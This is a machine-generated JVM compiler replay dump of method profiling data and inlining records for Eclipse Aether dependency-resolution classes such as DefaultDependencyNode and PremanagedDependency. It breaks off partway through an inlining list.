0 0 0 0 0 0 64 0 0 0 254 255 255 255 2 0 2 0 0 0 0 0 data 16 0x20002 0x8 0x50007 0x2 0x20 0x6 0x1b0002 0x2 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/PremanagedDependency <init> (Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;Ljava/util/Collection;Ljava/util/Map;ILorg/eclipse/aether/graph/Dependency;Z)V 2 2177 orig 320 144 166 201 142 252 127 0 0 224 215 104 20 182 1 0 0 128 2 0 0 80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 212 0 0 0 105 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 15 0 2 0 0 0 0 0 0 0 192 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 41 0x10002 0x7ad 0x160007 0x7a8 0x58 0x5 0x1f0002 0x5 0x220002 0x5 0x250003 0x5 0x18 0x2f0007 0x7ad 0x58 0x0 0x380002 0x0 0x3b0002 0x0 0x3e0003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x9 0x3e 0x0 0x0 0x0 0xffffffffffffffff 0xffffffffffffffff 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/graph/DefaultDependencyNode setRequestContext (Ljava/lang/String;)V 2 3563 orig 320 144 166 201 142 252 127 0 0 88 254 104 20 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 89 103 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 17 0x20007 0x0 0x38 0xceb 0x60003 0xceb 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x40 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/graph/DefaultDependencyNode setRepositories (Ljava/util/List;)V 2 3127 orig 320 144 166 201 142 252 127 0 0 216 252 104 20 182 1 0 0 40 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 185 89 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 9 0 2 0 0 0 0 0 0 0 160 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 30 0x10007 0x0 0x78 0xb37 0x50005 0x0 0x0 0x1b61780ead0 0xb37 0x0 0x0 0xa0007 0xb37 0x48 0x0 0xe0002 0x0 0x140003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x60 0xffffffffffffffff oops 1 7 java/util/ArrayList methods 0\nciMethodData org/eclipse/aether/graph/DefaultDependencyNode setRelocations (Ljava/util/List;)V 2 3108 orig 320 144 166 201 142 252 127 0 0 160 243 104 20 182 1 0 0 40 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 33 89 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 9 0 2 0 0 0 0 0 0 0 160 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 30 0x10007 0x0 0x78 0xb24 0x50005 0x0 0x0 0x1b61780ed90 0xb24 0x0 0x0 0xa0007 0x0 0x48 0xb24 0xe0002 0xb24 0x140003 0xb24 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x18 0xffffffffffffffff oops 1 7 java/util/Collections$EmptyList methods 0\nciMethodData org/eclipse/aether/graph/DefaultDependencyNode <init> (Lorg/eclipse/aether/graph/Dependency;)V 2 3108 orig 320 144 166 201 142 252 127 0 0 136 235 104 20 182 1 0 0 88 2 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 33 89 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 208 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 36 0x10002 0xb24 0xb0007 0x0 0x70 0xb24 0xf0005 0xb24 0x0 0x0 0x0 0x0 0x0 0x120003 0xb24 0x18 0x1f0002 0xb24 0x260002 0xb24 0x2d0002 0xb24 0x340002 0xb24 0x410002 0xb24 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xfc 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/graph/DefaultDependencyNode setAliases (Ljava/util/Collection;)V 2 3108 orig 320 144 166 201 142 252 127 0 0 64 245 104 20 182 1 0 0 40 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 33 89 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 9 0 2 0 0 0 0 0 0 0 160 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 30 0x10007 0x0 0x78 0xb24 0x50005 0x0 0x0 0x1b61780ed90 0xb24 0x0 0x0 0xa0007 0x0 0x48 0xb24 0xe0002 0xb24 0x140003 0xb24 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x10 0xffffffffffffffff oops 1 7 java/util/Collections$EmptyList methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/PremanagedDependency applyTo (Lorg/eclipse/aether/graph/DefaultDependencyNode;)V 2 3081 orig 320 144 166 201 142 252 127 0 0 128 220 104 20 182 1 0 0 248 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 73 88 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 112 1 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 56 0x50005 0xb09 0x0 0x0 0x0 0x0 0x0 0xc0007 0x7db 0x138 0x32e 0x160005 0x32e 0x0 0x0 0x0 0x0 0x0 0x200005 0x32e 0x0 0x0 0x0 0x0 0x0 0x2a0005 0x32e 0x0 0x0 0x0 0x0 0x0 0x340005 0x32e 0x0 0x0 0x0 0x0 0x0 0x3e0005 0x32e 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xc6 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey equals (Ljava/util/List;Ljava/util/List;)Z 2 3035 orig 320 144 166 201 142 252 127 0 0 96 193 153 20 182 1 0 0 128 8 0 0 200 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 84 1 0 0 241 45 0 0 57 84 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 36 0 2 0 0 0 0 0 0 0 248 6 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 233 0x10005 0x0 0x0 0x1b61780ead0 0x5be 0x0 0x0 0x70005 0x0 0x0 0x1b61780ead0 0x5be 0x0 0x0 0xc0007 0x549 0x20 0x75 0x120005 0x0 0x0 0x1b61780ead0 0x549 0x0 0x0 0x190005 0x0 0x0 0x1b61780ead0 0x549 0x0 0x0 0x200005 0x0 0x0 0x1b61780eb80 0xfd0 0x0 0x0 0x250007 0x535 0x5c0 0xa9b 0x290005 0x0 0x0 0x1b61780eb80 0xa9b 0x0 0x0 0x2e0007 0x0 0x568 0xa9b 0x320005 0x0 0x0 0x1b61780eb80 0xa9b 0x0 0x0 0x370004 0x0 0x0 0x1b615af57b0 0xa9b 0x0 0x0 0x3d0005 0x0 0x0 0x1b61780eb80 0xa9b 0x0 0x0 0x420004 0x0 0x0 0x1b615af57b0 0xa9b 0x0 0x0 0x490005 0xa9b 0x0 0x0 0x0 0x0 0x0 0x4e0005 0xa9b 0x0 0x0 0x0 0x0 0x0 0x510007 0xa9b 0x20 0x0 0x580005 0xa9b 0x0 0x0 0x0 0x0 0x0 0x5b0007 0xa9b 0xc0 0x0 0x600005 0x0 0x0 0x0 0x0 0x0 0x0 0x650005 0x0 0x0 0x0 0x0 0x0 0x0 0x680002 0x0 0x6b0007 0x0 0x2e8 0x0 0x720005 0xa9b 0x0 0x0 0x0 0x0 0x0 0x770005 0xa9b 0x0 0x0 0x0 0x0 0x0 0x7a0005 0xa9b 0x0 0x0 0x0 0x0 0x0 0x7d0007 0xa87 0x20 0x14 0x850005 0xa87 0x0 0x0 0x0 0x0 0x0 0x880005 0xa87 0x0 0x0 0x0 0x0 0x0 0x8e0005 0xa87 0x0 0x0 0x0 0x0 0x0 0x910005 0xa87 0x0 0x0 0x0 0x0 0x0 0x940007 0xa87 0x20 0x0 0x9c0005 0xa87 0x0 0x0 0x0 0x0 0x0 0x9f0005 0xa87 0x0 0x0 0x0 0x0 0x0 0xa50005 0xa87 0x0 0x0 0x0 0x0 0x0 0xa80005 0xa87 0x0 0x0 0x0 0x0 0x0 0xab0007 0xa87 0x20 0x0 0xb00003 0xa87 0xfffffffffffffa20 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 10 3 java/util/ArrayList 10 java/util/ArrayList 21 java/util/ArrayList 28 java/util/ArrayList 35 java/util/ArrayList$Itr 46 java/util/ArrayList$Itr 57 java/util/ArrayList$Itr 64 org/eclipse/aether/repository/RemoteRepository 71 java/util/ArrayList$Itr 78 org/eclipse/aether/repository/RemoteRepository methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey equals (Ljava/lang/Object;)Z 1 1185 orig 320 144 166 201 142 252 127 0 0 152 191 153 20 182 1 0 0 216 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 1 29 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 13 0 2 0 0 0 0 0 0 0 80 1 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 52 0x20007 0x3a0 0x20 0x0 0x80004 0x0 0x0 0x1b61f669a70 0x3a0 0x0 0x0 0xb0007 0x3a0 0x20 0x0 0x110004 0x0 0x0 0x1b61f669a70 0x3a0 0x0 0x0 0x1d0005 0x0 0x0 0x1b61780ece0 0x3a0 0x0 0x0 0x220007 0x0 0x68 0x3a0 0x2d0002 0x3a0 0x300007 0x62 0x38 0x33e 0x340003 0x33e 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 3 7 org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey 18 org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey 25 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData java/lang/NumberFormatException forInputString (Ljava/lang/String;)Ljava/lang/NumberFormatException; 1 1 orig 320 144 166 201 142 252 127 0 0 232 90 213 8 182 1 0 0 128 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 254 255 255 255 2 0 8 0 0 0 0 0 data 41 0x80002 0x0 0xd0005 0x0 0x0 0x0 0x0 0x0 0x0 0x110005 0x0 0x0 0x0 0x0 0x0 0x0 0x160005 0x0 0x0 0x0 0x0 0x0 0x0 0x190005 0x0 0x0 0x0 0x0 0x0 0x0 0x1c0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\ncompile org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector processDependency (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/graph/Dependency;Ljava/util/List;Z)V -1 4 inline 279 0 -1 org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector processDependency (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/graph/Dependency;Ljava/util/List;Z)V 1 24 org/eclipse/aether/collection/CollectRequest getRequestContext ()Ljava/lang/String; 1 36 org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate collectStepTrace (Lorg/eclipse/aether/RequestTrace;Ljava/lang/String;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/RequestTrace; 2 9 org/eclipse/aether/internal/impl/collect/CollectStepDataImpl <init> (Ljava/lang/String;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)V 3 1 java/lang/Object <init> ()V 3 6 java/util/Objects requireNonNull (Ljava/lang/Object;)Ljava/lang/Object; 3 17 java/util/Objects requireNonNull (Ljava/lang/Object;)Ljava/lang/Object; 3 28 java/util/Objects requireNonNull (Ljava/lang/Object;)Ljava/lang/Object; 2 12 org/eclipse/aether/RequestTrace newChild (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)Lorg/eclipse/aether/RequestTrace; 3 9 org/eclipse/aether/RequestTrace <init> (Ljava/lang/Object;)V 4 3 org/eclipse/aether/RequestTrace <init> (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)V 5 1 java/lang/Object <init> ()V 3 15 org/eclipse/aether/RequestTrace newChild (Ljava/lang/Object;)Lorg/eclipse/aether/RequestTrace; 4 6 org/eclipse/aether/RequestTrace <init> (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)V 5 1 java/lang/Object <init> ()V 1 51 org/eclipse/aether/internal/impl/collect/PremanagedDependency create (Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/graph/Dependency;ZZ)Lorg/eclipse/aether/internal/impl/collect/PremanagedDependency; 2 42 org/eclipse/aether/collection/DependencyManagement getVersion ()Ljava/lang/String; 2 53 org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 2 60 org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 2 72 org/eclipse/aether/collection/DependencyManagement getVersion ()Ljava/lang/String; 2 75 org/eclipse/aether/artifact/AbstractArtifact setVersion (Ljava/lang/String;)Lorg/eclipse/aether/artifact/Artifact; 3 1 org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 3 7 java/lang/String equals (Ljava/lang/Object;)Z 4 20 java/lang/String coder ()B 4 24 java/lang/String coder ()B 4 31 java/lang/String isLatin1 ()Z 3 29 org/eclipse/aether/artifact/DefaultArtifact getProperties ()Ljava/util/Map; 3 33 org/eclipse/aether/artifact/DefaultArtifact getFile ()Ljava/io/File; 3 36 org/eclipse/aether/artifact/AbstractArtifact newInstance (Ljava/lang/String;Ljava/util/Map;Ljava/io/File;)Lorg/eclipse/aether/artifact/Artifact; 4 5 org/eclipse/aether/artifact/DefaultArtifact getGroupId ()Ljava/lang/String; 4 9 org/eclipse/aether/artifact/DefaultArtifact getArtifactId ()Ljava/lang/String; 4 13 org/eclipse/aether/artifact/DefaultArtifact getClassifier ()Ljava/lang/String; 4 17 org/eclipse/aether/artifact/DefaultArtifact getExtension ()Ljava/lang/String; 4 23 org/eclipse/aether/artifact/DefaultArtifact <init> (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/io/File;Ljava/util/Map;)V 5 1 org/eclipse/aether/artifact/AbstractArtifact <init> ()V 6 1 java/lang/Object <init> ()V 5 6 org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 5 14 org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 5 22 org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 5 31 org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 5 40 org/eclipse/aether/artifact/DefaultArtifact emptify (Ljava/lang/String;)Ljava/lang/String; 2 80 org/eclipse/aether/graph/Dependency setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/graph/Dependency; 3 5 org/eclipse/aether/artifact/AbstractArtifact equals (Ljava/lang/Object;)Z 4 22 org/eclipse/aether/artifact/DefaultArtifact getArtifactId ()Ljava/lang/String; 4 26 org/eclipse/aether/artifact/DefaultArtifact getArtifactId ()Ljava/lang/String; 4 31 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 5 11 java/lang/String equals (Ljava/lang/Object;)Z 6 20 java/lang/String coder ()B 6 24 java/lang/String coder ()B 6 31 java/lang/String isLatin1 ()Z 4 38 org/eclipse/aether/artifact/DefaultArtifact getGroupId ()Ljava/lang/String; 4 42 org/eclipse/aether/artifact/DefaultArtifact getGroupId ()Ljava/lang/String; 4 47 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 5 11 java/lang/String equals (Ljava/lang/Object;)Z 6 20 java/lang/String coder ()B 6 24 java/lang/String coder ()B 6 31 java/lang/String isLatin1 ()Z 4 54 org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 4 58 org/eclipse/aether/artifact/DefaultArtifact getVersion ()Ljava/lang/String; 4 63 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 5 11 java/lang/String equals (Ljava/lang/Object;)Z 6 20 java/lang/String coder ()B 6 24 java/lang/String coder ()B 6 31 java/lang/String isLatin1 ()Z 4 70 org/eclipse/aether/artifact/DefaultArtifact getExtension ()Ljava/lang/String; 4 74 org/eclipse/aether/artifact/DefaultArtifact getExtension ()Ljava/lang/String; 4 79 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 5 11 java/lang/String equals (Ljava/lang/Object;)Z 6 20 java/lang/String coder ()B 6 24 java/lang/String coder ()B 6 31 java/lang/String isLatin1 ()Z 4 86 org/eclipse/aether/artifact/DefaultArtifact getClassifier ()Ljava/lang/String; 4 90 org/eclipse/aether/artifact/DefaultArtifact getClassifier ()Ljava/lang/String; 4 95 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 5 11 java/lang/String equals (Ljava/lang/Object;)Z 6 20 java/lang/String coder ()B 6 24 java/lang/String coder ()B 6 31 java/lang/String isLatin1 ()Z 4 102 org/eclipse/aether/artifact/DefaultArtifact getFile ()Ljava/io/File; 4 106 org/eclipse/aether/artifact/DefaultArtifact getFile ()Ljava/io/File; 4 111 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 5 11 java/io/File equals (Ljava/lang/Object;)Z 6 16 java/io/File compareTo (Ljava/io/File;)I 7 5 java/io/WinNTFileSystem compare (Ljava/io/File;Ljava/io/File;)I 8 1 java/io/File getPath ()Ljava/lang/String; 8 5 java/io/File getPath ()Ljava/lang/String; 8 8 java/lang/String compareToIgnoreCase (Ljava/lang/String;)I 9 5 java/lang/String$CaseInsensitiveComparator compare (Ljava/lang/Object;Ljava/lang/Object;)I 10 9 java/lang/String$CaseInsensitiveComparator compare (Ljava/lang/String;Ljava/lang/String;)I 4 118 org/eclipse/aether/artifact/DefaultArtifact getProperties ()Ljava/util/Map; 4 122 org/eclipse/aether/artifact/DefaultArtifact getProperties ()Ljava/util/Map; 4 127 java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 3 32 org/eclipse/aether/graph/Dependency <init> (Lorg/eclipse/aether/artifact/Artifact;Ljava/lang/String;Ljava/util/Set;Ljava/lang/Boolean;)V 4 1 java/lang/Object <init> ()V 4 8 java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 2 92 org/eclipse/aether/collection/DependencyManagement getProperties ()Ljava/util/Map; 2 139 org/eclipse/aether/collection/DependencyManagement getScope ()Ljava/lang/String; 2 146 org/eclipse/aether/graph/Dependency getScope ()Ljava/lang/String; 2 154 org/eclipse/aether/collection/DependencyManagement getScope ()Ljava/lang/String; 2 169 org/eclipse/aether/collection/DependencyManagement getOptional ()Ljava/lang/Boolean; 2 202 org/eclipse/aether/collection/DependencyManagement getExclusions ()Ljava/util/Collection; 2 209 org/eclipse/aether/graph/Dependency getExclusions ()Ljava/util/Collection; 2 217 org/eclipse/aether/collection/DependencyManagement getExclusions ()Ljava/util/Collection; 2 249 